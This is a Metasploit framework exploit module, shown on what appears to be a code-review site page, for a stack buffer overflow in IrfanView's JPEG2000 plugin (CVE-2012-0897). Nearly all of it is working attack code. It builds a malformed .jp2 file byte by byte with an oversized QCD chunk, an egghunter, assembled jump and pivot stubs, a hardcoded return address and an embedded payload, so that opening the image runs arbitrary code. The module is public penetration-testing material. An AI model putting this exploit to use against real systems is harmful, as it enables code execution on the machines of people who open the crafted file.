rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb

Summary

Maintainability
A
0 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Irfanview JPEG2000 jp2 Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in
        version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has
        been tested on a specific version of irfanview (v4.3.2), although other
        versions may work also. The vulnerability is triggered via parsing an
        invalid qcd chunk structure and specifying a malformed qcd size and
        data.

        Payload delivery and vulnerability trigger can be executed in multiple
        ways. The user can double click the file, use the file dialog, open via
        the icon and drag/drop the file into Irfanview's window. An egg hunter
        is used for stability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
          'mr_me <steventhomasseeley[at]gmail.com>',    # msf-fu
          'juan vazquez'                                # more improvements
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0897' ],
          [ 'OSVDB', '78333'],
          [ 'BID', '51426' ],
          [ 'URL', 'http://www.greyhathacker.net/?p=525' ],
        ],
      'Platform'          => [ 'win' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'           =>
        {
          'Space'    => 4000,
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          # push esp; retn [i_view32.exe]
          # http://www.oldapps.com/irfanview.php?old_irfanview=7097
          # http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe
          [ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
        ],
      'DisclosureDate' => '2012-01-16',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
        ])
  end

  # encode our string like unicode except we are not using nulls
  def encode_bytes(raw_bytes)
    encoded_bytes = ""
    0.step(raw_bytes.length-1, 2) { |i|
      encoded_bytes << raw_bytes[i+1]
      encoded_bytes << raw_bytes[i]
    }
    return encoded_bytes
  end

  def exploit
    jp2  = ""
    jp2 << "\x00\x00\x00\x0c"         #
    jp2 << "\x6a\x50\x20\x20"         # [jP  ] <0x6a502020> magic 0xd0a870a,len 12
    jp2 << "\x0d\x0a\x87\x0a"         #
    jp2 << "\x00\x00\x00\x14"         #
    jp2 << "\x66\x74\x79\x70"         #
    jp2 << "\x6a\x70\x32\x20"         #
    jp2 << "\x00\x00\x00\x00"         #         MinorVersion = 0      = [\0\0\0\0]
    jp2 << "\x6a\x70\x32\x20"         #         Compat = 0x6a703220 = [jp2 ]
    jp2 << "\x00\x00\x00\x38"         #
    jp2 << "\x75\x75\x69\x64"         # [uuid] <0x75756964> len 56 data offset 8
    jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags
    jp2 << "\xd5\x11\xb2\xed\x00\x50" #
    jp2 << "\x04\x71\xfd\xdc\xd2\x00" #
    jp2 << "\x00\x00\x40\x01\x00\x00" #
    jp2 << "\x00\x00\x00\x00\x60\x09" #
    jp2 << "\x00\x00\x00\x00\x00\x00" #
    jp2 << "\x00\x00\x00\x00\x00\x00" #
    jp2 << "\x00\x00\x30\x00\x00\x00" #
    jp2 << "\x00\x00\x00\x2d"         #
    jp2 << "\x6a\x70\x32\x68"         # [jp2h] <0x6a703268> len 45 data offset 8
    jp2 << "\x00\x00\x00\x16"         #
    jp2 << "\x69\x68\x64\x72"         # [ihdr] <0x69686472> len 22 data offset 8
    jp2 << "\x00\x00\x00\x0a"         #         ImageHeight = 10
    jp2 << "\x00\x00\x00\x0a"         #         ImageWidth = 10
    jp2 << "\x00\x03"                 #         NumberOfComponents = 3
    jp2 << "\x07"                     #         BitsPerComponent = 7
    jp2 << "\x07"                     #         Compression = 7
    jp2 << "\x01"                     #         Colorspace = 0x1 = unknown
    jp2 << "\x00\x00\x00\x00\x0f"     #
    jp2 << "\x63\x6f\x6c\x72"         # [colr] <0x636f6c72> len 15 data offset 8
    jp2 << "\x01"                     #         Method = 1
    jp2 << "\x00"                     #         Precedence = 0
    jp2 << "\x00"                     #         ColorSpaceAproximation = 0
    jp2 << "\x00\x00\x00"             #         EnumeratedColorSpace = 16 = sRGB
    jp2 << "\x10\x00\x00\x00\x00"     #
    jp2 << "\x6a\x70\x32\x63"         # [jp2c] <0x6a703263> length 0 data offset 8
    jp2 << "\xff\x4f"                 # <0xff4f=JP2C_SOC> Start of codestream
    jp2 << "\xff\x51"                 # <0xff51=JP2C_SIZ> length 47
    jp2 << "\x00\x2f"                 #         47 bytes
    jp2 << "\x00\x00"                 #         Capabilities = 0
    jp2 << "\x00\x00\x00\x0a"         #         GridWidth = 10
    jp2 << "\x00\x00\x00\x0a"         #         GridHeight = 10
    jp2 << "\x00\x00\x00\x00"         #         XImageOffset = 0
    jp2 << "\x00\x00\x00\x00"         #         YImageOffset = 0
    jp2 << "\x00\x00\x00\x0a"         #         TileWidth = 10
    jp2 << "\x00\x00\x00\x0a"         #         TileHeight = 10
    jp2 << "\x00\x00\x00\x00"         #         Xtileoffset = 0
    jp2 << "\x00\x00\x00\x00"         #         Ytileoffset = 0
    jp2 << "\x00\x03"                 #         NumberOfComponents = 3
    jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
    jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
    jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
    jp2 << "\xff\x52"                 # <0xff52=JP2C_COD> length 12
    jp2 << "\x00\x0c"                 #   12 bytes
    jp2 << "\x00"                     #   codingStyle=0=entropy coder w/o partition
    jp2 << "\x00"                     #   ProgressionOrder = 0
    jp2 << "\x00\x05"                 #   NumberOfLayers = 0x5
    jp2 << "\x01"                     #   MultiComponentTransform=0x1=5/3 reversible
    jp2 << "\x05"                     #   DecompLevels = 5
    jp2 << "\x04"                     #   CodeBlockWidthExponent=0x4+2 # cbw ->64
    jp2 << "\x04"                     #   CodeBlockHeightExponent=0x4+2 # cbh ->64
    jp2 << "\x00"                     #   CodeBLockStyle = 0
    jp2 << "\x00"                     #   QMIFBankId = 0

    eggoptions =
    {
      :checksum => false,
      :eggtag => 'pwnd'
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
    qcd_data  = ""
    qcd_data << make_nops(10)
    qcd_data << encode_bytes(hunter)
    qcd_data << rand_text_alpha(146)

    jmp_hunter = %q{
      jmp $-0xad
      inc ecx
    }

    # jump to our egghunter
    jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string

    qcd_data << encode_bytes(jmp_hunter)
    qcd_data << rand_text_alpha(196-qcd_data.length)
    qcd_data << encode_bytes([target.ret].pack("V"))

    # align ecx and jmp
    pivot = %q{
      inc ch
      jmp ecx
    }

    pivot  = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string

    qcd_data << encode_bytes(pivot)
    qcd_data << egg

    jp2 << "\xff\x5c"                         # start
    jp2 << "\x00\xf5"                         # arbitrary size to trigger overflow
    jp2 << "\x22"                             # guard
    jp2 << qcd_data                           # malicious code
    jp2 << "\xff\x90"                         # <0xff90=JP2C_SOT>len 10
    jp2 << "\x00\x0a"                         # 10 bytes
    jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
    jp2 << "\xff\x93"                         # <0xff93=JP2C_SOD> Start of data
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80"
    jp2 << "\xff\xd9"

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(jp2)
  end
end